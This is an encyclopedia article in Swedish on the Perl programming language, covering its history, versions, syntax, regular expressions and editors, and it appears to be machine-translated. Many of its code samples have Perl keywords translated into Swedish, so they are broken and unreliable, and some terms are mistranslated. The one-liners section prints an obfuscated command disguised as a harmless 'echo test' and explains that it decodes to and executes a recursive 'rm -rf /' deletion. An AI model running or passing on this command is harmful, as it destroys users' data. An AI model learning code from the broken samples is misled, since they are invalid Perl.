Perl | |
---|---|
Språkklass | programmeringsspråk |
Framträdde i | 1987 [3] |
Författare | Larry Wall |
Utvecklaren | Larry Wall [1] och The Perl Foundation [d] [2] |
Filtillägg _ | .pl[4] eller [4].pm |
Släpp | 5.36.0 (28 maj 2022 ) |
Typ system | svag dynamik |
Blivit påverkad | C++ , C [1] , sed , AWK , BASIC , Lisp och UNIX-skalet |
påverkas | Raku , Ruby , PHP , Groovy , JavaScript |
Licens | Artistic License [d] [5]och GNU General Public License, version 1.0 eller senare [d] [6][7] |
Hemsida |
perl.org dev.perl.org/perl5/ |
OS | Linux [8] , macOS [8] , Microsoft Windows [8] , Solaris [8] , AIX [8] och HP-UX [8] |
Mediafiler på Wikimedia Commons |
Perl är ett allmänt tolkat dynamiskt programmeringsspråk på hög nivå skapat av Larry Wall , en lingvist av utbildning. Namnet på språket står officiellt för Practical Extraction and Report Language ("praktiskt språk för att extrahera data och sammanställa rapporter") [9] , och skämtsamt - som Pathologically Eclectic Rubbish Lister ("patologiskt eklektisk skräplister") [9] ; språkutvecklare anser inte att dess namn är en akronym [10] . Till en början bestod namnet av fem tecken och sammanföll i denna form exakt med det engelska ordet pearl ("pärla"). Men så blev det känt att ett sådant språk existerade (se PEARL ), och bokstaven "a" togs bort. Symbolen för Perl-språket är kamelen - inte särskilt vackert, men mycket tåligt djur, kapabelt att göra hårt arbete.
Språkets huvuddrag är dess rika möjligheter att arbeta med text, inklusive arbete med reguljära uttryck inbyggda i syntaxen. Perl har ärvt många egenskaper från C , AWK , UNIX- skalskriptspråk .
Perl är känt för sin enorma samling av CPAN -tilläggsmoduler (cirka 200 000 ) som avsevärt förbättrar dess kapacitet. CPAN-samlingen finns på https://www.cpan.org .
Perl är ett allmänt programmeringsspråk som ursprungligen skapades för textmanipulering, men som nu används för ett brett utbud av uppgifter, inklusive systemadministration , webbutveckling , nätverksprogrammering , spel, bioinformatik och utveckling av grafiskt användargränssnitt .
Språket kan karakteriseras mer som praktiskt (lätt att använda, effektivitet, fullständighet) än vackert (elegans, minimalism) [11] . De främsta fördelarna med språket är stöd för olika paradigm ( procedurmässiga , objektorienterade och funktionella programmeringsstilar), minneskontroll (ingen loop-baserad sopsamlare), inbyggt stöd för textbehandling, samt en stor samling tredje -partimoduler .
Enligt Larry Wall har Perl två motton. Den första är " Det finns mer än ett sätt att göra det ", även känd under förkortningen TMTOWTDI . Den andra sloganen är " Enkla saker ska vara lätta och svåra saker ska vara möjliga ".
Den allmänna strukturen i Perl spårar i stort sett dess ursprung till C- språket . Perl är processuell till sin natur, med variabler , tilldelningsuttryck , kodblock åtskilda av klammerparenteser , kontrollstrukturer och funktioner .
Perl lånar också ett antal funktioner från UNIX-skalprogrammeringsspråk . Alla variabler är markerade med inledande tecken som uttrycker exakt datatypen för variabeln i det sammanhanget (t.ex. skalär, array, hash). Viktigt är att dessa tecken tillåter att variabler interpoleras i strängar. Perl har många inbyggda funktioner som tillhandahåller verktyg som ofta används för skalprogrammering, såsom sortering eller anrop av systemtjänster.
Perl lånar arrayer från Lisp , reguljära uttryck från AWK och sed och hash ("associativa arrayer") från AWK. Reguljära uttryck gör många uppgifter för analys, textbearbetning och datamanipulation enklare.
Perl 5 lade till stöd för komplexa datatyper, förstklassiga funktioner ( stängs som ett värde) och en objektmodell. Det senare inkluderar referenser , paket, exekvering av metoder från en klass, variabler med en lexikalisk scope - deklaration och kompilatordirektivstrict (till exempel ). Den största förbättringen som introducerades i Perl 5 var möjligheten att lägga kod i "paket" ( paket ) som moduler för återanvändning. Larry Wall anmärkte senare att "hela syftet med Perl 5:s modulsystem var att uppmuntra tillväxten av Perls kultur, inte kodrader" [12] .
Alla versioner av Perl gör automatisk datainmatning och automatisk minneshantering. Tolken känner till typen och minneskraven för varje programobjekt, den allokerar och frigör minne genom att göra referensräkning . Översättningen av en datatyp till en annan - till exempel ett nummer till en sträng - sker automatiskt under körning, omöjliga översättningar av datatyper leder till ett fatalt fel.
Arbeta i WindowsMicrosoft Windows-användare använder vanligtvis distributioner med förkompilerade binärer, som ActivePerl eller Strawberry Perl , eftersom det inte är en lätt uppgift att kompilera Perl från källan på det operativsystemet . Uppgiften kan göras enklare av Cygwin .
Larry Wall började utveckla Perl 1987 medan han arbetade som programmerare för Unisys [13] . Version 1.0 släpptes och tillkännagavs i nyhetsgruppen comp.sources.misc den 18 december 1987 [14] som "ersättningen" för awk och sed ".
Perl 2 släpptes 1988 . Den främsta innovationen i den var en omdesignad motor för reguljära uttryck . Perl 3, släppt 1989, fick förmågan att bearbeta binära dataströmmar .
Inledningsvis var den enda dokumentationen för Perl en enda (stor lång) man- sida. 1991 släpptes Programmering Perl (känd för många programmerare som Camel Book på grund av omslagsbilden) och blev de facto språkstandarden. Samtidigt "uppgraderades" språkversionen till 4, inte så mycket för att indikera betydande förändringar, utan för att indikera att denna version av språket dokumenterades av boken.
Perl 4 gick igenom en serie utgåvor och stannade vid Perl 4.036 1993 . Vid det här laget övergav Larry Wall Perl 4 och började arbeta med Perl 5. Utvecklingen av Perl 5 började 1994. Samtidigt skapades e- postlistan perl5-porters för att samordna arbetet med att porta Perl 5 till olika plattformar. Det är fortfarande det huvudsakliga forumet för utveckling, underhåll och portering av Perl 5 [15] .
Perl 5.000 släpptes den 17 oktober 1994 . [16] Den inkluderade en helt omskriven tolk , såväl som många nya språkfunktioner som objekt , referenser , lokala variabler ( my $var_name) och moduler . Moduler var en särskilt viktig del, eftersom de gav en mekanism för att utöka språket utan att ändra tolken. Detta gjorde det möjligt för tolken att stabilisera sig, men det gjorde det också möjligt för vanliga Perl-programmerare att lägga till nya funktioner till språket. Perl 5 är i aktiv utveckling till denna dag.
Perl 5.001 släpptes den 13 mars 1995. Perl 5.002 släpptes den 29 februari 1996 med nytt prototypstöd. Detta gjorde det möjligt för modulförfattare att skapa funktioner som betedde sig precis som Perls inbyggda funktioner. Perl 5.003 släpptes den 25 juni 1996 och fixade säkerhetsproblemen som hade upptäckts.
En av de viktigaste händelserna i historien om Perl 5 hände utanför själva språket och var en följd av modulstöd. Den 26 oktober 1995 började CPAN ( Comprehensive Perl Archive Network ) sitt arbete , som blev ett arkiv av Perl-moduler , såväl som källkoden för själva språket. För närvarande har CPAN över 198 600 moduler skapade av över 14 000 programmerare [17] [18] .
Perl 5.004 släpptes den 15 maj 1997 och innehöll bland annat UNIVERSAL-paketet som gav språket ett basobjekt från vilket alla klasser automatiskt härleddes. Möjligheten att begära versionen av modulerna har också inkluderats. Utöver detta började Perl stödja Microsoft Windows, samt ett antal andra operativsystem.
Perl 5.005 släpptes den 22 juni 1998 . Den här utgåvan inkluderade flera förbättringar av regex-motorn, nya krokar till backend via moduler B::*, en offertoperator qr//för reguljära uttryck, ett stort urval av andra nya moduler och stöd för ett antal operativsystem, särskilt BeOS .
Perl 5.6 släpptes den 22 mars 2000 . Större förändringar inkluderade stöd för 64-bitarssystem, Unicode -strängrepresentation , stöd för stora filer (filer större än 2 GB ) och nyckelordet our[19] [20] . Under utvecklingen av Perl 5.6 togs ett beslut om att ändra versionsnamnschemat till ett som är närmare det för andra öppen källkodsprojekt. Version 5.005_63 följdes av version 5.5.640; enligt planen skulle utvecklingsversioner tilldelas udda nummer, stabila versioner jämnt.
År 2000 utfärdade Larry Wall en uppmaning till samhället att aktivt diskutera förslag till nästa version av Perl. Resultatet av denna diskussion var 361 RFC :er ( Request for Comments - "request for comments"), som användes i utvecklingen av Perl 6 . År 2001 [21] påbörjades arbetet med ett slutdokument som sammanfattar förslag till en ny generation av Perl. Resultatet presenterades inte som ett formellt dokument, utan som en sammanfattning av alla RFC:er. Vid det här laget existerade Perl 6 enbart som en språkbeskrivning.
Versioner 5.8.xPerl 5.8 släpptes först den 18 juli 2002 och har fått en årlig uppdatering sedan dess. Den senaste versionen av Perl 5.8, 5.8.9, släpptes den 14 december 2008. Perl 5.8 förbättrade Unicode-stödet, lade till en ny I/O-implementering, lade till stöd för flera trådar, ökade numerisk precision och lade till flera nya moduler [22] .
2004 började arbetet med synopsis - ursprungligen tänkt som en serie dokument som sammanfattar det slutliga dokumentet som nämns ovan. Men denna uppsättning dokument blev gradvis Perl 6-specifikationen. I februari 2005 började Otrius Tan arbetet med Pugs , en Perl 6- tolk skriven i Haskell [23] . Detta var det första riktiga försöket att göra Perl 6 till verklighet. Detta försök dog ut 2006.
Versioner 5.10.xDen 18 december 2007, 20-årsdagen av Perl 1.0, släpptes Perl 5.10.0. Denna version innehöll ett antal anmärkningsvärda innovationer som förde den närmare Perl 6 . Några av dessa innovationer är nya switch-satser (som kallas "given"/"när"), uppdateringar av reguljära uttryck och den "smarta" matchningsoperatorn "~~" [24] [25] .
Runt denna tid började utvecklingen på allvar av en ny implementering av Perl 6, känd som Rakudo Perl , utvecklad i samband med den virtuella maskinen Parrot . Sedan november 2009 har Rakudo Perl uppdaterats regelbundet varje månad och är för närvarande den mest kompletta implementeringen av Perl 6 .
Versioner 5.11.xEn betydande förändring i utvecklingsprocessen för Perl 5 inträffade efter introduktionen av Perl 5.11. Utvecklargemenskapen har gått över till en månatlig releasecykel, med releasedatumet planerat tre månader i förväg.
Versioner 5.12.xDen 12 april 2010 släpptes Perl 5.12.0 för allmänheten. Anmärkningsvärda innovationer inkluderar nytt syntaxstöd package NAME VERSION, Yada Yada-operatorn (används för att markera platshållarkod som ännu inte har implementerats), en komplett lösning på Y2038-problemet (Y2038), överbelastning av reguljära uttrycksoperatorer, stöd för DTrace (dynamic tracing framework), samt fullt stöd för Unicode 5.2-standarden [26] . Den 7 september 2010 släpptes Perl 5.12.2 och den 21 januari 2011 släpptes Perl 5.12.3. Dessa utgåvor innehåller moduluppdateringar såväl som vissa dokumentationsändringar [27] [28] . Version 5.12.4 släpptes den 20 juni 2011. Den senaste versionen av denna gren, 5.12.5, släpptes den 10 november 2012.
Versioner 5.14.xDen 14 maj 2011 släpptes Perl 5.14. JSON- stöd har byggts in sedan version 5.14.2. Den senaste versionen av denna filial, 5.14.4, släpptes den 10 mars 2013.
Versioner 5.16.xDen 20 maj 2012 släpptes Perl 5.16. En viktig ny funktion är möjligheten att specificera den korrekta versionen av Perl som ska emuleras, vilket gör att användare kan uppgradera Perl men behålla gamla skript som annars skulle vara inkompatibla med den nya versionen som fortfarande fungerar [29] . Perl 5.16 kärna stöder Unicode 6.1 [29] .
Versioner 5.18.xDen 18 maj 2013 släpptes Perl 5.18. Betydande innovationer inkluderar nya dtrace hooks, lexikaliska funktioner, en ökning av antalet funktioner som ingår i kärnan, revisioner av implementeringen av hash av säkerhetsskäl, stöd för Unicode 6.2 [30] .
Versioner 5.20.x - 5.26.xVersion 5.20 släpptes den 27 maj 2014 [31] .
Den 16 april 2015 tillkännagavs den förväntade versionen av version 5.22 [32] , den 9 maj 2016 släpptes version 5.24 [33] .
Den 30 maj 2017 släpptes nästa stabila versionsnummer 26 [34] .
Versioner 5.28.xVersion 5.28.0 släpptes den 22 juni 2018 [35] .
Viktiga innovationer :
Returnerar "falskt" eftersom bokstaven "e" är kyrillisk (mer om manuskörningar [36] )
Experimentella funktioner :
Prestandaförbättringar :
Andra ändringar :
Den släpptes den 20 juni 2020 [37] och under 13 månaders utveckling ändrades cirka 140 tusen rader kod i 880 filer. Perl 5.32 går över till långsiktigt stöd i 5 år eller mer. På "Perl och Raku-konferensen i molnet" [38] tillkännagav Sawyer X. en större versionsändring av Perl från 5 till 7 [39] . Perl 7 förväntas vara samma Perl 5.32 med moderna standardinställningar.
Viktiga innovationer:
Några optimeringar:
Släppt 20 maj 2021 [40] [41] . Perl 5.34.0 representerar cirka 11 månaders utveckling sedan Perl 5.32.0 släpptes och innehåller cirka 280 000 rader med ändringar i 2 100 filer från 78 författare. Exklusive dokumentation, automatiskt genererade filer och verktyg för att bygga själva versionen, ändrades 150 000 rader i 1300 .pm , .t , .c och .h filer.
Ny funktionalitet:
Vissa observatörer har krediterat releasen av Perl 5.10 med lanseringen av Modern Perl- rörelsen [42] [43] . I synnerhet beskriver denna fras en utvecklingsstil som involverar användningen av CPAN, att dra nytta av den senaste utvecklingen inom språket och kräva kod av hög kvalitet [44] .
I slutet av 2012 och 2013 lanserades flera projekt om en alternativ implementering av Perl 5: Perl5 i Perl6 (Rakudo Perl-teamet) [45] , moe (Stephen Little och vänner) [46] , p2 [47] (Perl11 lag under Reini Urban), samt gperl (goccy) [48] .
Sedan 2000 har en ny (6:e) version av språket utvecklats. Till skillnad från tidigare versioner planerar utvecklarna att skapa en väldefinierad språkstandard. Experimentella Perl 6 -kompilatorer finns för närvarande , men ytterligare diskussion om nya regler fortsätter.
Perls syntax har många likheter med C , AWK , sed och Bourne-skalet .
Den första raden i källkoden kan börja med "#!/Path/to/Perl [-switches]" - som talar om för systemet sökvägen till Perl-tolken för att exekvera program på UNIX-system och exekvera dem på en webbserver (se även: shebang ( Unix) ).
Det enklaste programmet " Hej världen!" " som följer:
#!/usr/bin/perl print "Hej världen!\n" ;antingen för CGI :
#!/usr/bin/perl print "Innehållstyp: text/html\n\n" ; print "Hej världen!" ;antingen med en av de postmoderna webbramarna
använd Mojolicious::Lite ; få '/' => { text => 'Hej världen!' }; app -> start ;eller genom att använda PSGI- specifikationen
min $app = sub { return [ 200 , [ 'Content-Type' => 'text/plain' ], [ "hej världen\n" ]]; }Lägger till en sträng.
$x = 5 ; $x .= 0 ; skriv ut $x ; #femtioOch så här kan du skriva ut numret googol .
tryck 1 , 0 x 100 ;Grundläggande datatyper: skalär , array , hashtabell , funktion , filpekare , symboltabellpost . Variabler av olika typer kännetecknas av tecknet som föregår variabelnamnet:
Sorts | Symbol | Exempel | Beskrivning |
---|---|---|---|
Skalär | $ | $foo | enda värde; kan vara ett nummer, en sträng , en filreferens eller en länk . |
array | @ | @foo | En beställd samling skalärer. |
Hashbord | % | %foo | Samling av sträng-skalära par; strängar kallas nycklar och skalärer kallas värden . Synonymen är en associativ array . |
Filbeskrivning | < > | $foo eller FOO | En representation av en öppen fil eller annat mål som är öppet för läsning och/eller skrivning. |
Fungera | & | &foo | En bit kod som tar argument, utför åtgärder och returnerar värden. |
Symboltabellpost | * | *foo | Symboltabellpost för alla typer som heter 'foo'. |
Skalära variabler används för att lagra enskilda värden. De kan innehålla siffror, strängar och referenser till andra objekt . Ett skalärt variabelnamn måste föregås av ett dollartecken '$'. Typen av en skalär variabel är inte fast (till skillnad från till exempel C- språket ) och bestäms dynamiskt beroende på sammanhanget. Till exempel,
$x = 10 ; # nummer $y = $x + 1 ; # använd $x som ett tal... $z = $x . 'sträng' ; # ... och nu som en sträng $ref = \ $x ; # $ref är en pekare till $x $$ref = 10 ; # $x innehåller värdet 10Strängdata måste omges av citattecken. Perl använder två sorters citattecken, enkla citattecken och dubbla citattecken. Om du omger en sträng med dubbla citattecken kan du automatiskt ersätta variabelnamnen som förekommer med deras värden. Att omsluta strängar i enstaka citattecken förhindrar detta beteende:
## Ett exempel på att interpolera variabler i dubbla citattecken $pi = 3,141592654 ; $var1 = 'Värdet på Pi är $pi\n' ; skriv ut $var1 ; # Värdet på Pi är $pi\n $var2 = "Värdet på Pi är $pi\n" ; skriv ut $var2 ; # Värdet på Pi är 3,141592654Använd \" för att inkludera dubbla citattecken i en sträng som har citerats med dubbla citattecken. Använd \' för att inkludera enstaka citattecken i en sträng med citattecken. För att underlätta arbetet med strängar som innehåller många citattecken, låter Perl dig använd alternativa citationsmetoder Den alternativa formen använder valfritt teckenpar efter bokstaven q (härmar beteendet hos enkla citattecken) eller qq (härmar beteendet hos dubbla citattecken):
## Ett exempel på användning av alternativa citat $pi = 3,141592654 ; $link1 = q{<a href="http://en.wikipedia.org/wiki/Pi">$pi</a>} ; skriv ut $länk1 ; # <a href="http://ru.wikipedia.org/wiki/Pi">$pi</a> $link2 = qq{<a href="http://ru.wikipedia.org/wiki/Pi ">$pi</a>} ; skriv ut $länk2 ; # <a href="http://ru.wikipedia.org/wiki/Pi">3.141592654</a>En annan typ av citat i Perl är bakåtcitat. De innehåller operativsystemprogram vars utdata kan skickas till Perl-tolken. Till exempel:
## Ett exempel på att använda backticks för att utföra UNIX-kommandon $space = `du -s -k /usr/local/bin` ; skriv ut $mellanslag ; #6264 /usr/local/bin $sysuptime = `upptid` ; skriv ut $sysuptime ; # 2:24 upp 1 dag, 9:05, 1 användare, belastningsmedelvärden: 0,26 0,32 0,33 ArrayEn array är en ordnad lista med skalärer . Varje matriselement har ett ordningsindex genom vilket det kan nås. Numreringen av element börjar från noll, det vill säga det första elementet i listan har index 0. Före namnet på arrayvariabeln måste du sätta '@'-tecknet och för att komma åt ett specifikt array-element, använd '$ ', eftersom ett enda element i arrayen är en skalär. Flerdimensionella arrayer kan modelleras genom att länka till andra listor i en lista.
@array = ( 1 , 2 , 3 , 4 ); # skriv fyra element till arrayen @array print $array [ 2 ]; # print det tredje elementet print @array [ 2 , 3 ]; # skriv ut det tredje och fjärde elementet. # @ används här eftersom resultatet av en array slicing operation också är en array. HashtabellEn hashtabell kan initieras med en array eller en lista som består av ett obegränsat antal sekvenser (nyckel, värde).
%hash = ( katt => 'kattunge' , # här => är det så kallade "långa kommatecken", i det här exemplet hund => 'valp' , # liknar sin funktion helt vanlig "," förutom ko => 'calf' # att bokstavstexter till vänster implicit citeras ); skriv ut $hash { 'katt' }; #Skriv ut kattunge print join ( "-" , nycklar %hash ) ; # Mata ut alla nycklar. Skriv ut cat-dog-cow print join ( "-" , värden %hash ) ; # Visa alla värden. Skriv ut kattunge-valp-kalv print join ( "-" , %hash ) ; # Skriver ut katt-kattunge-ko-kalv-hund-valp, eftersom hashen i ett listsammanhang automatiskt # utökas till en lista (nyckel, värde). Eftersom nycklarna i hashen inte är sorterade, kommer # par att matas ut i slumpmässig ordning varje gång. FunktionAnvändande:
$s = läsrad * STDIN ; #Läs en rad från STDIN (standardinmatningsström); skalärt sammanhang. @values = <FIL> ; #Läser alla rader från någon fil som är öppnad och associerad med FIL-deskriptorn; listkontext. skriv ut STDOUT $s ; #Skriv ut till STDOUT (standardutgångsström)Ett mer exakt exempel där typeglob används för att skicka en filbeskrivning till en funktion:
min $fil = 'fil.txt' ; #namn på filen som ska läsas öppen FH , $fil ; #öppna filen min $text = _parseFile ( * FH ); #passa filbeskrivningen till utskriftsfunktionen $text ; stäng FH ; #var noga med att stänga filbeskrivningen sub _parseFile { my $fh = shift ; #get file descriptor min $text = join ( '' , <$fh> ); #läs rad för rad från filbeskrivningen till en sträng och lägg in i variabeln $text return $text ; }Senaste versioner av Perl har introducerat möjligheten att lagra filbeskrivningar i skalärer, och nyare program föredrar att använda denna metod.
Symboltabeller används också för att associera två variabelnamn med ett enda värde i minnet, vilket skapar synonymer som kan användas för att komma åt och ändra värdet precis som det ursprungliga namnet. Denna förmåga är grunden för Perls system av laddningsbara moduler, klasser och objekt .
Ett objekt i Perl är helt enkelt en referens associerad med en viss klass (paket). För kommunikation används välsignelsefunktionen. Rutinerna för ett sådant länkat paket är metoder och får en referens som första argument.
Det finns ingen speciell syntax för konstruktörer, en paketrutin används som returnerar en referens som är associerad med det paketet.
Det finns också många tillägg till OOP-systemet som låter dig ändra syntaxen och använda syntaktisk socker, bland vilka Moose cpan-modulen och dess lätta version Moo [49] är värda att nämna . Älg används av många projekt och stora företag som BBC eller Cisco [50] .
Reguljära uttryck är en viktig del av Perl . Detta gör Perl väl lämpad för ordbehandling. Det mesta av arbetet med reguljära uttryck görs med operatorerna =~, m//och s///.
Operatören m//används för att testa för en matchning. I det enklaste fallet kommer resultatet av uttrycket $x =~ m/abc/att vara sant om och endast om strängen $xmatchar det reguljära uttrycket abc. Till exempel:
Exempel | Menande |
---|---|
$x =~ /abc/ | Strängen $xinnehåller (under)strängen "abc". Operatörens initiala "m" //kan utelämnas när den används. |
$x =~ m/a(.{1,3})c/ | Strängen $xinnehåller bokstaven "a", sedan ett till tre tecken förutom nyradstecknet "\n" och sedan bokstaven "c". |
$x =~ m{^p(erl|ugs)$}i | Strängen $xär strikt lika med "perl" eller "mops" och är skiftlägesokänslig. Dessutom, istället //för regex omgiven av {}. |
Sök och ersätt utförs med operatören s///. Konstruktionen $x =~ s/abc/def/;kommer att ersätta den första förekomsten av det reguljära uttrycket abcmed strängen def.
Exempel | Menande |
---|---|
$x =~ s/abc/def/g; | Alla förekomster (som indikeras av den -globala flaggan /g ) av delsträngen "abc" i $xkommer att ersättas med "def". |
$x =~ s/a(.{1,3})c/!$1!/; | Den första förekomsten av $xbokstäverna "a", sedan ett till tre tecken förutom nyradstecknet "\n", och sedan bokstaven "c" kommer att ersättas med de tecken mellan "a" och "c", omgiven av "!". Till exempel skulle "syntactic" bli "synt!cti!". |
$x =~ s{^p(erl|ugs)}{"P" . lc $1}ieg; | Här är ett exempel på användning av modifieraren /e, vilket indikerar att istället för ersättningssträngen kommer kod att skrivas, vars resultat ska användas. Alla förekomster av "perl" eller "mopsar" kommer i alla fall att ändras till "Perl" respektive "Mopsar". |
Med tillkomsten av dynamiska reguljära uttryck (??{ код Perl })och konstruktionen för att inkludera körbar Perl-kod i ett reguljärt uttryck, är (?{ код Perl })möjligheterna att söka och ersätta nästan obegränsade. Till exempel blev det möjligt att söka efter strukturer av godtycklig häckningsnivå.
Perls reguljära uttryck är så populära att de ingår direkt i andra språk som PHP och JavaScript , och det finns även plugin-bibliotek som implementerar användningen av uttryck i kompilerade språk.
En intressant och ofta använd funktion hos Perl är de så kallade one-liners-programmen från en rad, vanligtvis specificerade direkt i tolkanropsraden med hjälp av -e.
Detta program kommer att skriva ut primtal :
perl - wle '(1 x $_) !~ /^(1|((11+)\3+))$/ && print while ++ $_'Det här exemplet kommer endast att skriva ut de unika raderna i filfilen, nyckeln -nlindar automatiskt bearbetningslinjen i en slinga som itererar genom alla rader i filerna som anges efter programtexten:
perl - ne '$s{$_}++ || skriva ut filenObs: För att köra det föregående kommandot under Windows, ersätt apostroferna i det 'med dubbla citattecken ".
I dessa exempel liknar Perl J i sin korthet och obegriplighet vid första anblicken .
Ett av sådana exempel är också programmet [51] , som orsakade en hel del kontroverser, är faktiskt en Barmin-patch (ett förtäckt kommando för att rekursivt ta bort alla filer):
echo "test... test... test..." | perl -e ' $ ??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;se"echo "test... test... test..." exekvering av detta kommando påverkar inte arbetet och läggs troligen till för att dämpa vaksamhet. Vad som händer i resten av koden är inte alls självklart på grund av medvetet förvirrande skrift. Denna rad innehåller endast tre sekventiellt körda kommandon. Låt oss skriva kommandot så här:
$? ? s: ; s:s ;; $? : : s ;; = ] => % - { <-| } <&| `{; ; y; -/:-@[-` { - }; ` - { / " - ; ; s ;; $_ ; seDen första konstruktionen analyserar $? är returkoden för föregående kommando. Eftersom inga underordnade processer skapades före denna konstruktion, $? kommer att innehålla 0, och den andra grenen kommer att exekveras s;;=]=>%-{<-|}<&|`{;. Detta kommando ersätter i sin tur strängen i $_ ackumulatorvariabeln med =]=>%-{<-|}<&|`{ (det första tecknet efter s anger parameteravgränsaren för denna operator, och även om snedstreck '/ ' eller '|', för tydlighetens skull använder denna konstruktion avgränsaren ';').
Det andra kommandot sänder innehållet i "ackumulatorn" enligt ganska komplicerade regler. Fyra teckenintervall anges på vänster sida, ett intervall anges till höger. Om vi utökar dessa intervall får vi följande korrespondens:
! "#$%&'()*+,-./:;<=>?@[\]^_`{|} `abcdefghijklmnopqrstuvwxyz{/" -Som ett resultat blir innehållet i $_
system "rm -rf /"eeDet tredje kommandot "beräknar" emellertid två gånger (enligt flaggan ) innehållet i ackumulatorn - ovanstående destruktiva kommando - och försöker ersätta den tomma strängen i ackumulatorn med resultatet av beräkningen.
Perl är långt ifrån det enda språket som ger rik textbehandlingsmöjligheter. Programmeringsspråken REFAL , Icon och Snobol ger en möjlighet att mer fullständigt använda programmeringsmetoden "mönstermatchning", där reguljära uttryck är ett specialfall.
Det finns också ett fullständigt UNIX-kommandoskal baserat på Perl-språket. Det kallas psh och det låter dig blanda kommandona från det vanliga skalet och Perl själv [52] .
Du kan till och med skriva dikter i Perl. En av dessa dikter, kallad "Black Perl" ("Black Pearl" eller "Black Pearl"), nämndes av Larry Wall i ett aprilskämt brev till Usenet . Den skrevs ursprungligen för Perl 3, och med Larrys egna ord kände han moralisk tillfredsställelse när dikten misslyckades med analysen i Perl 5.
FÖRE: stäng dörren , varje fönster & utgång ; vänta tills tid . öppna stavningsbok , studera , läsa ( skanna , välj , berätta för oss ); skriv det , skriv ut sexkanten hela varje klockor , vänd på dess längd , skriv igen ; döda spindlar , slå dem , hugga , dela , döda dem . lossa armar , skift , vänta & lyssna ( lyssnar , vänta ), sortera flocken ( varna sedan " getterna " och döda " fåren" ) ; döda dem , dumpa betänkligheter , moraliska förändringar , värderingar åt sidan , var och en ; dö får ! dö för att vända på systemet du accepterar ( förkasta , respektera ); nästa steg , döda nästa offer , varje offer , vänta , gör om ritualen tills "alla andar är nöjda" ; gör det ( "som de säger" ) . gör det ( * alla *** måste *** delta *** i *** förbjudna ** s * e * x * ) . återlämna det senaste offret ; paketets kropp ; avsluta krypten ( tid , tider & "halvtid" ) & stäng den , välj ( snabbt ) & varna ditt nästa offer ; EFTERORD: berätta för ingen , vänta , vänta tills tid ; vänta till nästa år , nästa decennium ; sova , sova , dö själv , dö äntligen _Speciellt för Perl-utvecklare i Perl som använder wxWidgets -gränssnittsbiblioteket, en sådan öppen produkt som Padre IDE (en förkortning för "Perl Application Development and Refactoring Environment" skrivs ) [53] .
Perl-stöd ingår i den mångsidiga IDE ActiveState Komodo och dess öppen källkodsversion Komodo Edit [54] . För Eclipse är Perl-stöd implementerat som tilläggspaketet EPIC [53] [55] . Båda dessa miljöer inkluderar bland annat en visuell debugger [56] . IntelliJ IDEA och andra JetBrains- produkter stöder Perl5 genom ett plugin med öppen källkod som heter Camelcade .
Pearl-stöd i en eller annan form finns tillgängligt i de flesta textredigerare för programmerare, som plattformsoberoende Vim [53] , Emacs [53] , SciTE [53] , Gedit [57] , Geany , jEdit [57] , Sublime Text , eller dedikerad för Windows Notepad++ [53] [57] och PSPad samt shareware - produkter som UltraEdit & UEStudio från IDM Computer Solutions, Inc. För Mac OS kan TextMate [53] fungera som en sådan redigerare .
Perl Editor, som är en del av en rad specialiserade shareware-redigerare för programmerare från DzSoft [58] [59] [60] , är också ganska populär bland Windows-användare . Den kostnadsfria redaktören Mastak Absolute Perl [61] var ganska välkänd , men dess utveckling och support har avbrutits, den senaste versionen är daterad 29 september 2003 [62] . En annan inhemsk gratis perl-editor för Windows är Perl Express [63] (den senaste versionen med ett ryskt gränssnitt är 2.4.5 daterat 2 december 2005, med engelskt gränssnitt - 2.5 daterat 23 december 2005) [64] . Andra utvecklingsmiljöer som är specialiserade för Perl inkluderar shareware IDE PerlBuilder [65] [66] [67] och den lokala redaktören Collie Perl Shell 2.0 [66] [68] .
![]() | ||||
---|---|---|---|---|
Ordböcker och uppslagsverk | ||||
|
Perl | |
---|---|
människor |
|
Saker | |
Ramar |
|
|
Gratis och öppen källkod | |
---|---|
Huvudsaken |
|
gemenskap |
|
Organisationer | |
Licenser | |
Problem | |
Övrig |
|
|